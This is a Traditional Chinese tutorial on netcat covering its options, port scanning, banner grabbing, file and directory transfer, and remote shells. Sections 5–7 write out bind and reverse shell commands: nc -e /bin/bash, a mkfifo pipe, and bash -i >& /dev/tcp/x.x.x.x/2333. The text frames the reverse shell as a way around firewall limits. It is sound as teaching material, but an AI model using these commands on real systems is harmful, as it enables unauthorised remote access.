nc是netcat的簡寫,有着網絡界瑞士軍刀的美譽。
它的主要作用如下:
1) 實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定的端口
2) 端口的掃描,nc可以作為client發起TCP或UDP連接
3) 機器之間傳輸文件
4) 機器之間網絡測速
命令格式及參數:
想要連接到某處: nc [-options] hostname port[s] [ports] …
綁定端口等待連接: nc -l port [-options] [hostname] [port]
- -g<網關>:設置路由器躍程通信網關,最多設置8個;
- -G<指向器數目>:設置來源路由指向器,其數值為4的倍數;
- -h:在線幫助;
- -i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信端口;
- -l:使用監聽模式,監控傳入的資料;
- -n:直接使用ip地址,而不通過域名服務器;
- -o<輸出文件>:指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;
- -p<通信端口>:設置本地主機使用的通信端口;
- -r:指定源端口和目的端口都進行隨機的選擇;
- -s<來源位址>:設置本地主機送出數據包的IP地址;
- -u:使用UDP傳輸協議;
- -v:顯示指令執行過程;
- -w<超時秒數>:設置等待連線的時間;
- -z:使用0輸入/輸出模式,只在掃描通信端口時使用。
具體使用場景:
1)連接遠程主機
連接到遠程主機:
$nc -nvv 192.168.x.x 80
連到192.168.x.x的TCP80端口.
監聽本地主機:
$nc -l 80
監聽本機的TCP80端口.
超時控制:
多數情況我們不希望連接一直保持,那么我們可以使用 -w 參數來指定連接的空閑超時時間,該參數緊接一個數值,代表秒數,如果連接超過指定時間則連接會被終止。
Server
$nc -l 2389
Client
$ nc -w 10 localhost 2389
該連接將在 10 秒后中斷。
注意: 不要在服務器端同時使用 -w 和 -l 參數,因為 -w 參數將在服務器端無效果。
2)端口掃描
端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。
$nc -z -v -n 192.168.1.1 21-25
可以運行在TCP或者UDP模式,默認是TCP,-u參數調整為udp.
z 參數告訴netcat使用0 IO,連接成功后立即關閉連接, 不進行數據交換.
v 參數指詳細輸出.
n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名.
以上命令會打印21到25 所有開放的端口。
$nc -v 127.0.0.1 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
"SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4"為Banner信息。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑒別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner.一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。
3)文件傳輸
大部分時間中,我們都在試圖通過網絡或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當你只是需要臨時或者一次傳輸文件,真的值得浪費時間來安裝配置一個軟件到你的機器上嘛。假設,你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務器或者客戶端.
Server
$nc -l 20000 < file.txt
Client
$nc -n 192.168.1.1 20000 > file.txt
這里我們創建了一個服務器在A上並且重定向netcat的輸入為文件file.txt,那么當任何成功連接到該端口,netcat會發送file的文件內容。
在客戶端我們重定向輸出到file.txt,當B連接到A,A發送文件內容,B保存文件內容到file.txt.
沒有必要創建文件源作為Server,我們也可以相反的方法使用。像下面的我們發送文件從B到A,但是服務器創建在A上,這次我們僅需要重定向netcat的輸出並且重定向B的輸入文件。
B作為Server
Server
$nc -l 20000 > file.txt
Client
$nc 192.168.1.2 20000 < file.txt
4)目錄傳輸
####4.目錄傳輸
發送一個文件很簡單,但是如果我們想要發送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發送壓縮包。
如果你想要通過網絡傳輸一個目錄從A到B。
Server
$tar -cvf – dir_name | nc -l 20000
Client
$nc -n 192.168.1.1 20000 | tar -xvf -
這里在A服務器上,我們創建一個tar歸檔包並且通過-在控制台重定向它,然后使用管道,重定向給netcat,netcat可以通過網絡發送它。
在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。
如果想要節省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。
Server
$tar -cvf – dir_name| bzip2 -z | nc -l 20000
通過bzip2壓縮
Client
$nc -n 192.168.1.1 20000 | bzip2 -d |tar -xvf -
5)打開一個shell
我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。
假設你的netcat支持 -c -e 參數(原生 netcat)
Server
$nc -l 20000 -e /bin/bash -i
Client
$nc 192.168.1.1 20000
這里我們已經創建了一個netcat服務器並且表示當它連接成功時執行/bin/bash
假如netcat 不支持-c 或者 -e 參數(openbsd netcat),我們仍然能夠創建遠程shell
Server
$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo
這里我們創建了一個fifo文件,然后使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標准錯誤輸出和標准輸出,然后管道到netcat 運行的端口20000上。至此,我們已經把netcat的輸出重定向到fifo文件中。
說明:
從網絡收到的輸入寫到fifo文件中
cat 命令讀取fifo文件並且其內容發送給sh命令
sh命令進程受到輸入並把它寫回到netcat。
netcat 通過網絡發送輸出到client
至於為什么會成功是因為管道使命令平行執行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。
在客戶端僅僅簡單連接到服務器
Client
$nc -n 192.168.1.1 20000
你會得到一個shell提示符在客戶端
6)反向shell
反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同於其他配置,這里服務器使用的是由客戶提供的服務。
Server
$nc -l 20000
在客戶端,簡單地告訴netcat在連接完成后,執行shell。
Client
$nc 192.168.1.1 20000 -e /bin/bash
現在,什么是反向shell的特別之處呢
反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址為192.168.1.1,我使用代理服務器連接到外部網絡。如果我想從網絡外部訪問 這台機器如1.2.3.4的shell,那么我會用反向外殼用於這一目的。
7)禁用-i,-e等參數時打開一個shell
Server
Nc –vv –l –p 9999
Client
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
8)指定源地址
假設你的機器有多個地址,希望明確指定使用哪個地址用於外部數據通訊。我們可以在netcat中使用-s選項指定ip地址。
Server
$nc -u -l 20000 < file.txt
Client
$nc -u 192.168.1.1 20000 -s 172.31.100.5 > file.txt
該命令將綁定地址172.31.100.5。
以上為nc的一些常見的命令